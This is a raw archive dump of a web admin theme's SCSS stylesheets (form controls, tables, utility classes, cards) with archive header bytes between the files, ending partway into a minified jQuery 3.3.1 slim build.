    }

    label {
        position: relative;
        padding-left: 1.5rem;
        text-align: left;
        color: #333;
        display: block;
        line-height: 1.8;
    }

    input {
        width: auto;
        opacity: 0.00000001;
        position: absolute;
        left: 0;
    }
}

.radio {
    .helper {
        position: absolute;
        top: -0.25rem;
        left: -0.25rem;
        cursor: pointer;
        display: block;
        font-size: 1rem;
        -webkit-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
        user-select: none;
        color: #999;

        &::after {
            transform: scale(0);
            background-color: $primary;
            border-color: $primary;
        }

        &::after,
        &::before {
            content: '';
            position: absolute;
            left: 0;
            top: 3px;
            margin: 0.25rem;
            width: 1rem;
            height: 1rem;
            -webkit-transition: -webkit-transform 0.28s ease;
            transition: -webkit-transform 0.28s ease;
            transition: transform 0.28s ease, -webkit-transform 0.28s ease;
            border-radius: 50%;
            border: 0.125rem solid $primary;
        }
    }

    label:hover .helper {
        color: $primary;
    }

    input {
        &:checked ~ .helper::after {
            transform: scale(0.5);
        }

        &:checked ~ .helper::before {
            color: $primary;
            animation: ripple 0.3s linear forwards;
        }
    }

    &.radiofill {
        input:checked ~ .helper::after {
            transform: scale(1);
        }

        .helper::after {
            background-color: $primary;
        }
    }

    &.radio-outline {
        input:checked ~ .helper::after {
            transform: scale(0.6);
        }

        .helper::after {
            background-color: #fff;
            border: 0.225rem solid $primary;
        }
    }

    &.radio-matrial {
        input ~ .helper::after {
            background-color: #fff;
        }

        input:checked ~ .helper::after {
            transform: scale(0.5);
            box-shadow: 0 1px 7px -1px rgba(0, 0, 0, 0.72);
        }

        input:checked ~ .helper::before {
            background-color: $primary;
        }
    }

    &.radio-disable {
        label {
            cursor: not-allowed;
        }
        opacity: 0.7;
    }
}

.radio-inline {
    display: inline-block;
    margin-right: 20px;
}
$radio-bg-state: primary, warning, default, danger, success, inverse, info;
$radio-bg-color: $primary, $warning, $default, $danger, $success, $inverse, $info;
@each $var in $radio-bg-state {
    $i: index($radio-bg-state, $var);

    .radio {
        &.radio-#{$var} {
            .helper::after {
                background-color: nth($radio-bg-color, $i);
                border-color: nth($radio-bg-color, $i);
            }

            .helper::before {
                border-color: nth($radio-bg-color, $i);
            }
        }

        &.radio-outline {
            &.radio-#{$var} {
                .helper::after {
                    background-color: #fff;
                    border: 0.225rem solid nth($radio-bg-color, $i);
                }

                .helper::before {
                    border-color: nth($radio-bg-color, $i);
                }
            }
        }

        &.radio-matrial {
            &.radio-#{$var} {
                input ~ .helper::after {
                    background-color: #fff;
                    border-color: #fff;
                }

                input ~ .helper::before {
                    background-color: nth($radio-bg-color, $i);
                    border-color: nth($radio-bg-color, $i);
                }
            }
        }
    }
}
@keyframes ripple {
    0% {
        box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.0);
    }

    50% {
        box-shadow: 0 0 0 10px rgba(0, 0, 0, 0.05);
    }

    100% {
        box-shadow: 0 0 0 10px rgba(0, 0, 0, 0);
    }
}
.border-checkbox-section {
    .border-checkbox-group {
        display: inline-block;

        .border-checkbox:checked + .border-checkbox-label:before {
            animation: ripple 0.3s linear forwards;
        }

        .border-checkbox:checked + .border-checkbox-label:after {
            -webkit-animation: check linear 0.5s;
            animation: check linear 0.5s;
            opacity: 1;
            border-color: $primary;

            .border-checkbox-label {
                &:before {
                    border-color: #eee;
                }
            }
        }

        .border-checkbox-label {
            position: relative;
            display: inline-block;
            cursor: pointer;
            height: 20px;
            line-height: 20px;
            padding-left: 30px;
            margin-right: 15px;

            &:after {
                content: "";
                display: block;
                width: 6px;
                height: 12px;
                opacity: 0.9;
                border-right: 2px solid #eee;
                border-top: 2px solid #eee;
                position: absolute;
                left: 4px;
                top: 11px;
                -webkit-transform: scaleX(-1) rotate(135deg);
                transform: scaleX(-1) rotate(135deg);
                -webkit-transform-origin: left top;
                transform-origin: left top;
            }

            &:before {
                content: "";
                display: block;
                border: 2px solid $primary;
                width: 20px;
                height: 20px;
                position: absolute;
                left: 0;
            }
        }
    }

    .border-checkbox {
        display: none;

        &:disabled {
            ~ .border-checkbox-label {
                cursor: no-drop;
                color: #ccc;
            }
        }
    }
}
@include theme-keyframes(check) {
    0% {
        height: 0;
        width: 0;
    }

    25% {
        height: 0;
        width: 6px;
    }

    50% {
        height: 12px;
        width: 6px;
    }
}
$border-checkbox-bg-state: primary, warning, default, danger, success, inverse, info;
$border-checkbox-bg-color: $primary, $warning, $default, $danger, $success, $inverse, $info;
@each $var in $border-checkbox-bg-state {
    $i: index($border-checkbox-bg-state, $var);

    .border-checkbox-section .border-checkbox-group-#{$var} {
        .border-checkbox-label:before {
            border: 2px solid nth($border-checkbox-bg-color, $i);
        }

        .border-checkbox:checked + .border-checkbox-label:after {
            border-color: nth($border-checkbox-bg-color, $i);
        }
    }
}

.checkbox-fade,
.checkbox-zoom {
    display: inline-block;
    margin-right: 15px;

    label {
        line-height: 20px;

        input[type="checkbox"],
        input[type="radio"] {
            display: none;

            &:checked + .cr > .cr-icon {
                transform: scale(1) rotateZ(0deg);
                opacity: 1;
            }

            + .cr > .cr-icon {
                transform: scale(3) rotateZ(-20deg);
                opacity: 0;
                transition: all 0.3s ease-in;
            }
        }

        &:after {
            content: '';
            display: table;
            clear: both;
        }
    }

    &.fade-in-disable {
        .cr,
        label {
            color: #ccc;
            cursor: no-drop;
        }
    }

    .cr {
        border-radius: 0;
        border: 2px solid $primary;
        cursor: pointer;
        display: inline-block;
        float: left;
        height: 20px;
        margin-right: 1rem;
        position: relative;
        width: 20px;

        .cr-icon {
            color: $primary;
            font-size: 1em;
            left: 0;
            line-height: 0;
            position: absolute;
            right: 0;
            text-align: center;
            top: 50%;
        }
    }

    input[type="checkbox"]:checked {
        + .cr {
            animation: ripple 0.3s linear forwards;
        }
    }
}

.checkbox-fade {
    label {
        line-height: 20px;

        input[type="checkbox"],
        input[type="radio"] {
            display: none;

            &:checked + .cr > .cr-icon {
                transform: scale(1) rotateZ(0deg);
                opacity: 1;
            }

            + .cr > .cr-icon {
                transform: scale(3) rotateZ(-20deg);
                opacity: 0;
                transition: all 0.3s ease-in;
            }
        }
    }
}

.checkbox-zoom {
    label {
        line-height: 20px;

        input[type="checkbox"],
        input[type="radio"] {
            display: none;

            &:checked + .cr > .cr-icon {
                transform: scale3d(1, 1, 1) translate3d(0, 0, 0);
                opacity: 1;
            }

            + .cr > .cr-icon {
                transform: scale3d(0.2, 0.2, .1) translate3d(0, 0, 0);
                opacity: 0;
                transition: all 0.3s ease-in;
            }
        }
    }
}
$fade-in-checkbox-bg-state: primary, warning, default, danger, success, inverse, info;
$fade-in-checkbox-bg-color: $primary, $warning, $default, $danger, $success, $inverse, $info;
@each $var in $fade-in-checkbox-bg-state {
    $i: index($fade-in-checkbox-bg-state, $var);

    .checkbox-fade,
    .checkbox-zoom {
        &.fade-in-#{$var},
        &.zoom-#{$var} {
            .cr {
                border: 2px solid nth($fade-in-checkbox-bg-color, $i);

                .cr-icon {
                    color: nth($fade-in-checkbox-bg-color, $i);
                }
            }
        }
    }
}

.checkbox-color {
    display: inline-block;
    margin-right: 20px;
    cursor: pointer;

    label {
        display: inline-block;
        position: relative;
        padding-left: 10px;
        line-height: 20px;

        &::before {
            content: "";
            display: inline-block;
            position: absolute;
            top: 0;
            width: 20px;
            height: 20px;
            left: 0;
            right: 0;
            text-align: center;
            margin-left: -20px;
            border: 1px solid #ccc;
            border-radius: 0;
            background-color: #fff;
            transition: border 0.15s ease-in-out, color 0.15s ease-in-out;
        }

        &::after {
            display: inline-block;
            position: absolute;
            width: 16px;
            height: 16px;
            left: -1px;
            top: 0;
            margin-left: -17px;
            padding-left: 3px;
            padding-top: 1px;
            font-size: 11px;
            color: #fff;
        }
    }

    input[type="checkbox"] {
        opacity: 0;

        &:focus + label::before {
            outline: thin dotted;
            outline: 5px auto -webkit-focus-ring-color;
            outline-offset: -2px;
        }

        &:checked + label::after {
            font-family: 'FontAwesome';
            content: "\f00c";
        }

        &:checked + label::before {
            animation: ripple 0.3s linear forwards;
        }

        &:disabled + label {
            opacity: 0.65;

            &::before {
                background-color: #eee;
                cursor: not-allowed;
            }
        }
    }

    &.checkbox-circle label::before {
        border-radius: 50%;
    }

    &.checkbox-inline {
        margin-top: 0;
    }
}

.checkbox-danger,
.checkbox-info,
.checkbox-primary,
.checkbox-success,
.checkbox-warning {
    input[type="checkbox"]:checked + label::after {
        color: #fff;
    }
}

.checkbox-primary input[type="checkbox"]:checked + label::before {
    background-color: #2196f3;
    border-color: #2196f3;
}
$background-checkbox-bg-state: primary, warning, default, danger, success, inverse, info;
$background-checkbox-bg-color: $primary, $warning, $default, $danger, $success, $inverse, $info;
@each $var in $background-checkbox-bg-state {
    $i: index($background-checkbox-bg-state, $var);

    .checkbox-#{$var} input[type="checkbox"]:checked + label::before {
        background-color: nth($background-checkbox-bg-color, $i);
    }
}PK��\��x��scss/_tables.scssnu�[���.card {
	.card-body {
		.dataTables_wrapper {
			.dataTables_scroll {
				margin-left: -20px;
			    width: calc(100% + 40px);
				.dataTable {
				    margin-left: 0px;
				    width: 100%;
				}
			}
			.dataTable {
			    margin-left: -20px;
			    width: calc(100% + 40px);
			}
			.form-control {
			    border: none;
			    min-height: 30px;
			    background-color: #f4f4f4;
			}
			select.form-control {
			    height: 30px !important;
			}
			.dataTables_paginate {
				.pagination {
					.page-item {
						.page-link {
						    margin-left: 5px;
						    min-width: 30px;
						    height: 30px;
						    padding: 0;
						    text-align: center;
						    line-height: 30px;
						    border: none;
						    background-color: #f4f4f4;
						    color: #212121;
						    @include border-radius(30px);
						}
						&.previous, &.next, &.first, &.last {
							.page-link {
							    padding: 0 15px;
							}
						}
						&.disabled {
							.page-link {
							    color: #6c757d;
							    background-color: #f4f4f4;
							    cursor: not-allowed;
							}
						}
					}
				}
			}
		}
	}
	.card-table {
		.card-item {
		    border-top: 1px solid #ededed;
		}
	}
}
.table {
	thead {
		background-color: #f6f8fb;
		th {
			font-weight: 600;
		    color: #879099;
		    font-size: 14px;
		}
	}
	tbody {
		td {
			vertical-align: middle;
			.table-user-thumb {
			    width: 30px;
			    height: 30px;
			    border-radius: 50%;
			}
			.table-actions {
			    text-align: right;
			    a {
				    color: #bcc1c6;
				    display: inline-block;
				    margin-left: 8px;
				    font-size: 16px;
				}
			}
		}
	}
}PK��\h�W-)-)scss/_settings.scssnu�[���
html {
  font-family: sans-serif; /* 1 */
  -ms-text-size-adjust: 100%; /* 2 */
  -webkit-text-size-adjust: 100%; /* 2 */
}
body {
  margin: 0;
}
article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
main,
menu,
nav,
section,
summary {
  display: block;
}

audio,
canvas,
progress,
video {
  display: inline-block; /* 1 */
  vertical-align: baseline; /* 2 */
}
audio:not([controls]) {
  display: none;
  height: 0;
}


[hidden],
template {
  display: none;
}

a {
  background-color: transparent;
}

a:active,
a:hover {
  outline: 0;
}

abbr[title] {
  border-bottom: 1px dotted;
}

strong {
  font-weight: bold;
}

dfn {
  font-style: italic;
}

h1 {
  font-size: 2em;
  margin: 0.67em 0;
}

mark {
  background: #ff0;
  color: #000;
}

small {
  font-size: 80%;
}

sub,
sup {
  font-size: 75%;
  line-height: 0;
  position: relative;
  vertical-align: baseline;
}

sup {
  top: -0.5em;
}

sub {
  bottom: -0.25em;
}

img {
  border: 0;
}

svg:not(:root) {
  overflow: hidden;
}

figure {
  margin: 1em 40px;
}

hr {
  box-sizing: content-box;
  height: 0;
}

pre {
  overflow: auto;
}
code,
kbd,
pre,
samp {
  font-family: monospace, monospace;
  font-size: 1em;
}

button,
input,
optgroup,
select,
textarea {
  color: inherit; /* 1 */
  font: inherit; /* 2 */
  margin: 0; /* 3 */
}

button {
  overflow: visible;
}

button,
select {
  text-transform: none;
}
button,
html input[type="button"], /* 1 */
input[type="reset"],
input[type="submit"] {
  -webkit-appearance: button; /* 2 */
  cursor: pointer; /* 3 */
}
button[disabled],
html input[disabled] {
  cursor: default;
}
button::-moz-focus-inner,
input::-moz-focus-inner {
  border: 0;
  padding: 0;
}
input {
  line-height: normal;
}

input[type="checkbox"],
input[type="radio"] {
  box-sizing: border-box; /* 1 */
  padding: 0; /* 2 */
}

input[type="number"]::-webkit-inner-spin-button,
input[type="number"]::-webkit-outer-spin-button {
  height: auto;
}

input[type="search"] {
  -webkit-appearance: textfield; /* 1 */
  box-sizing: content-box; /* 2 */
}

input[type="search"]::-webkit-search-cancel-button,
input[type="search"]::-webkit-search-decoration {
  -webkit-appearance: none;
}

fieldset {
  border: 1px solid #c0c0c0;
  margin: 0 2px;
  padding: 0.35em 0.625em 0.75em;
}

legend {
  border: 0; /* 1 */
  padding: 0; /* 2 */
}

textarea {
  overflow: auto;
}


optgroup {
  font-weight: bold;
}

table {
  border-collapse: collapse;
  border-spacing: 0;
}

td,
th {
  padding: 0;
}
*, body {
    -webkit-font-smoothing: antialiased;
    text-rendering: optimizeLegibility;
    -moz-osx-font-smoothing: grayscale;
}
::-moz-selection {
    background: #b3d4fc;
    text-shadow: none;
}
::selection {
    background: #b3d4fc;
    text-shadow: none;
}
hr {
    display: block;
    height: 1px;
    border: 0;
    border-top: 1px solid #ccc;
    margin: 1em 0;
    padding: 0;
}
audio, canvas, iframe, img, svg, video {
    vertical-align: middle;
}
fieldset {
    border: 0;
    margin: 0;
    padding: 0;
}
textarea {
    resize: vertical;
}
.browserupgrade {
    margin: 0.2em 0;
    background: #ccc;
    color: #000;
    padding: 0.2em 0;
}
* {
    outline: none !important;
}
a {
    color: #212121;
    @include transition(color .2s);
    &:hover, &:focus, &:active {
        outline: 0;
        text-decoration: none;
        color: #212121;
    }
}
$empty: transparent;
$default: #d6d6d6;
$primary: #007bff;
$success: #2dce89;
$info: #11cdef;
$warning: #fb6340;
$danger: #f5365c;
$muted: #6c757d;
$inverse: #4c5667;
$purple: #BF55EC;
$pink: #f76397;
$white: #ffffff;
$dark: #212121;
$grey: #9aa0ac;
$aqua: #3ec5d6;
$blue: #19B5FE;
$light-blue: #89CFF0;
$teal: #008081;
$yellow: #F7CA18;
$orange: #FF8000;
$green: #26C281;
$lime: #cad900;
$red: #F22613;
$fuchsia: #df2de3;
$navy: #000080;

$theme: #ef4153;
$facebook: #3b579d;
$twitter: #1da1f2;
$dribbble: #ea4c89;
$linkedin: #0177b4;
$google: #dc4a38;
$instagram: #fb3958;
$behance: #053eff;
$element-color: 'primary' $primary, 'warning' $warning, 'danger' $danger, 'success' $success, 'inverse' $inverse, 'info' $info;

$i: 0;
@while $i<=50 {
    .p {
        &#{$i} {
            padding: #{$i}px !important;
        }
        &t-#{$i} {
            padding-top: #{$i}px !important;
        }
        &b-#{$i} {
            padding-bottom: #{$i}px !important;
        }
        &l-#{$i} {
            padding-left: #{$i}px !important;
        }
        &r-#{$i} {
            padding-right: #{$i}px !important;
        }
    }

    .m {
        &#{$i} {
            margin: #{$i}px !important;
        }
        &t-#{$i} {
            margin-top: #{$i}px !important;
        }
        &b-#{$i} {
            margin-bottom: #{$i}px !important;
        }
        &l-#{$i} {
            margin-left: #{$i}px !important;
        }
        &r-#{$i} {
            margin-right: #{$i}px !important;
        }
    }
    $i: $i+5;
}
$i: 10;
@while $i<=80 {
    .f-#{$i} {
        font-size: #{$i}px;
    }
    $i: $i+2;
}

$i: 100;
@while $i<=900 {
    .fw-#{$i} {
        font-weight: #{$i};
    }
    $i: $i+100;
}

$i: 20;
@while $i<=100 {
    .img-#{$i} {
        width: #{$i}px;
    }
    $i: $i+10;
}
@each $value in $element-color {
    .b-t-#{nth($value, 1)} {
        border-top: 1px solid #{nth($value, 2)};
    }

    .b-b-#{nth($value, 1)} {
        border-bottom: 1px solid #{nth($value, 2)};
    }

    .b-l-#{nth($value, 1)} {
        border-left: 1px solid #{nth($value, 2)};
    }

    .b-r-#{nth($value, 1)} {
        border-right: 1px solid #{nth($value, 2)};
    }

    .b-#{nth($value, 1)} {
        border: 1px solid #{nth($value, 2)};
    }
}
.bg-default {
    background-color: $default !important;
}
.bg-theme {
    background-color: $theme !important;
}
.bg-aqua {
    background-color: $aqua !important;
}
.bg-blue {
    background-color: $blue !important;
}
.bg-light-blue {
    background-color: $light-blue !important;
}
.bg-teal {
    background-color: $teal !important;
}
.bg-yellow {
    background-color: $yellow !important;
}
.bg-orange {
    background-color: $orange !important;
}
.bg-green {
    background-color: $green !important;
}
.bg-lime {
    background-color: $lime !important;
}
.bg-red {
    background-color: $red !important;
}
.bg-fuchsia {
    background-color: $fuchsia !important;
}
.bg-navy {
    background-color: $navy !important;
}
.bg-empty {
    background: $empty !important;
}
.bg-primary {
    background-color: $primary !important;
}
.bg-success {
    background-color: $success !important;
}
.bg-info {
    background-color: $info !important;
}
.bg-warning {
    background-color: $warning !important;
}
.bg-danger {
    background-color: $danger !important;
}
.bg-muted {
    background-color: $muted !important;
}
.bg-inverse {
    background-color: $inverse !important;
}
.bg-purple {
    background-color: $purple !important;
}
.bg-pink {
    background-color: $pink !important;
}
.bg-white {
    background-color: $white !important;
}
.bg-facebook {
    background-color: $facebook !important;
}
.bg-twitter {
    background-color: $twitter !important;
}
.bg-google {
    background-color: $google !important;
}
.bg-linkedin {
    background-color: $linkedin !important;
}
.text-default {
    color: $default !important;
}
.text-blue {
    color: $blue !important;
}
.text-light-blue {
    color: $light-blue !important;
}
.text-teal {
    color: $teal !important;
}
.text-navy {
    color: $navy !important;
}
.text-lime {
    color: $lime !important;
}
.text-orange {
    color: $orange !important;
}
.text-yellow {
    color: $yellow !important;
}
.text-aqua {
    color: $aqua !important;
}
.text-white {
    color: $white !important;
}
.text-danger {
    color: $danger !important;
}
.text-green {
    color: $green !important;
}
.text-primary {
    color: $primary !important;
}
.text-warning {
    color: $warning !important;
}
.text-success {
    color: $success !important;
}
.text-info {
    color: $info !important;
}
.text-inverse {
    color: $inverse !important;
}
.text-pink {
    color: $pink !important;
}
.text-purple {
    color: $purple !important;
}
.text-dark {
    color: $dark !important;
}
.text-fuchsia {
    color: $fuchsia !important;
}
.text-red {
    color: $red !important;
}
.text-facebook {
    color: $facebook !important;
}
.text-twitter {
    color: $twitter !important;
}
.text-instagram {
    color: $instagram !important;
}
.text-google {
    color: $google !important;
}
.text-linkedin {
    color: $linkedin !important;
}
.text-behance {
    color: $behance !important;
}
.text-dribbble {
    color: $dribbble !important;
}
.text-red {
    color: $red !important;
}

.min-width-zero {
    min-width: 0;
}
.w-10 {
    width: 10%!important
}
.w-90 {
    width: 90%!important
}
.w-12 {
    width: 12%!important
}
.w-88 {
    width: 88%!important
}
.w-15 {
    width: 15%!important
}
.w-85 {
    width: 85%!important
}
.w-20 {
    width: 20%!important
}
.w-80 {
    width: 80%!important
}
.w-30 {
    width: 30%!important
}
.w-70 {
    width: 70%!important
}
.w-40 {
    width: 40%!important
}
.w-60 {
    width: 60%!important
}

.hidden {
    display: none !important;
}

.d-inline-block {
    display: inline-block !important;
}
.d-block {
    display: block !important;
}
.visuallyhidden {
    border: 0;
    clip: rect(0 0 0 0);
    height: 1px;
    margin: -1px;
    overflow: hidden;
    padding: 0;
    position: absolute;
    width: 1px;
}
.visuallyhidden.focusable:active, .visuallyhidden.focusable:focus {
    clip: auto;
    height: auto;
    margin: 0;
    overflow: visible;
    position: static;
    width: auto;
}
.invisible {
    visibility: hidden;
}
.clearfix:before, .clearfix:after {
    content: " ";
    display: table;
}
.clearfix:after {
    clear: both;
}
@include mq('tablet-wide', 'max') {
    .w-sm-100 {
        width: 100%!important;
    }
}
@include mq('tablet', 'max') {
    .w-xs-100 {
        width: 100%!important;
    }
}PK��\��UOOscss/_cards.scssnu�[���.card {
    border-color: #ffff;
    position: relative;
    width: 100%;
    border: none;
    margin-bottom: 30px;
    @include box-shadow(0 6px 0 0 rgba(0, 0, 0, 0.01), 0 15px 32px 0 rgba(0, 0, 0, 0.06));
    @include transition(all 0.5s ease-in-out);
    @include border-radius(4px);
    .card-header {
	    padding: 20px 20px;
	    border: 0;
	    background: none;
	    @include flexbox();
	    @include align-items(center);
	    &:first-child {
		    border-radius: calc(.25rem - 1px) calc(.25rem - 1px) 0 0;
		}
		h3 {
			margin: 0;
		    font-size: 18px;
		    font-weight: normal;
		    color: #212121;
		}
		.card-options {
			a:not(.dropdown-item) {
			    width: 30px;
			    height: 30px;
			    padding: 0;
			    border-radius: 50%;
			    text-align: center;
			    line-height: 33px;
			    color: #212121;
			    display: inline-block;
			    @include transition(all 0.5s ease-in-out);
			}
			span {
			    color: #444;
			    font-size: 12px;
			}
		}
		.card-search {
		    position: relative;
		    .form-control {
			    padding-right: 60px;
			    font-size: 14px;
			    max-height: 30px;
			    min-height: 30px;
			    &~ .btn {
				    position: absolute;
				    right: 0;
				    top: 0;
				    padding: 0;
				    width: 30px;
				    height: 30px;
				    line-height: 30px;
				    border-radius: 4px;
				    background-color: #eceff1;
				    border: none;
				    @include box-shadow(none);
				}
			}
			&.with-adv-search {
				.adv-btn {
				    background-color: transparent;
				    border: 0;
				    position: absolute;
				    right: 30px;
				    top: 0;
				    width: 30px;
				    height: 30px;
				    line-height: 30px;
				    padding: 0;
				    @include box-shadow(none);
				}
				.adv-search-wrap {
				    padding: 20px;
				    display: none;
				    position: absolute;
				    left: 30px !important;
				    width: 100%;
				    top: 30px;
				    background-color: $white;
				    z-index: 4;
				    @include box-shadow(0 2px 30px rgba(0,0,0,.08));
				    @include border-radius(6px);
				    .form-control {
					    padding-right: 15px;
					}
					.btn {
						padding: 0 15px;
					    font-size: 14px;
					    height: 30px;
					    @include border-radius(30px);
					}
					&.show {
						display: block;
					}
				}
			}
		}
		&.note-toolbar {
		    padding: 0 0 5px 5px;
		}
		.dropdown {
			.checkbox-dropdown {
				padding: 0px;
			    width: 16px;
			    height: 16px;
			    background-color: #dee2e6;
			    border-radius: .25rem;
			    margin-right: 15px;
			}
		}
	}
    .card-body {
	    padding: 20px 20px;
	    flex: 1 1 auto;
	    position: relative;
	}
	.card-img {
	    height: 100%;
	    object-fit: cover;
	    max-height: 200px;
	    width: unset;
	    @include border-radius(4px);
	}
	.card-img-overlay {
	    background: rgba(0,0,0,.5);
	    padding: 1.75rem;
	    border-radius: 4px;
	}
	&.icon-card {
		.card-body {
			i {
				font-size: 46px;
			    line-height: 66px;
			    color: $dark;
			}
			.card-text {
			    color: #8f8f8f;
			    height: 30px;
			    line-height: 26px;
			}
			.lead {
			    color: $dark;
			    margin-bottom: 0;
			}
		}
	}
	.nav-pills {
		&.custom-pills {
			border-bottom: 1px solid #f1f1f1;
			.nav-link {
			    border-radius: 0;
			    opacity: .7;
			    font-size: 14px;
			    padding: 12px 15px;
			    &.active {
			    	color: #ef4153;
				    opacity: 1;
				    background-color: transparent;
				    border-bottom: 2px solid #ef4153;
			    }
			}
		}
	}
}PK��\���"js/vendor/jquery-3.3.1.slim.min.jsnu�[���/*! jQuery v3.3.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector | (c) JS Foundation and other contributors | jquery.org/license */
!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,u=n.push,s=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,d=f.toString,p=d.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},v=function e(t){return null!=t&&t===t.window},y={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in y)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function b(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var x="3.3.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector",w=function(e,t){return new w.fn.init(e,t)},C=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:x,constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},u=1,s=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[u]||{},u++),"object"==typeof a||g(a)||(a={}),u===s&&(a=this,u--);u<s;u++)if(null!=(e=arguments[u]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+(x+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&d.call(n)===p)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(T(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(T(Object(e))?w.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:s.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,u=!n;o<a;o++)(r=!t(e[o],o))!==u&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,u=[];if(T(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&u.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&u.push(i);return a.apply([],u)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function T(e){var t=!!e&&"length"in e&&e.length,n=b(e);return!g(e)&&!v(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,u,s,l,c,f,d,p,h,g,v,y,m,b,x="sizzle"+1*new Date,w=e.document,C=0,T=0,E=ae(),N=ae(),k=ae(),A=function(e,t){return e===t&&(f=!0),0},D={}.hasOwnProperty,S=[],L=S.pop,j=S.push,q=S.push,O=S.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},H="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",I="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",B="\\["+I+"*("+R+")(?:"+I+"*([*^$|!~]?=)"+I+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+I+"*\\]",M=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+B+")*)|.*)\\)|)",W=new RegExp(I+"+","g"),$=new RegExp("^"+I+"+|((?:^|[^\\\\])(?:\\\\.)*)"+I+"+$","g"),F=new RegExp("^"+I+"*,"+I+"*"),z=new RegExp("^"+I+"*([>+~]|"+I+")"+I+"*"),_=new RegExp("="+I+"*([^\\]'\"]*?)"+I+"*\\]","g"),U=new RegExp(M),V=new RegExp("^"+R+"$"),X={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+B),PSEUDO:new RegExp("^"+M),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+I+"*(even|odd|(([+-]|)(\\d*)n|)"+I+"*(?:([+-]|)"+I+"*(\\d+)|))"+I+"*\\)|)","i"),bool:new RegExp("^(?:"+H+")$","i"),needsContext:new RegExp("^"+I+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+I+"*((?:-\\d)?\\d*)"+I+"*\\)|)(?=[^-]|$)","i")},Q=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,G=/^[^{]+\{\s*\[native \w/,K=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,J=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+I+"?|("+I+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return 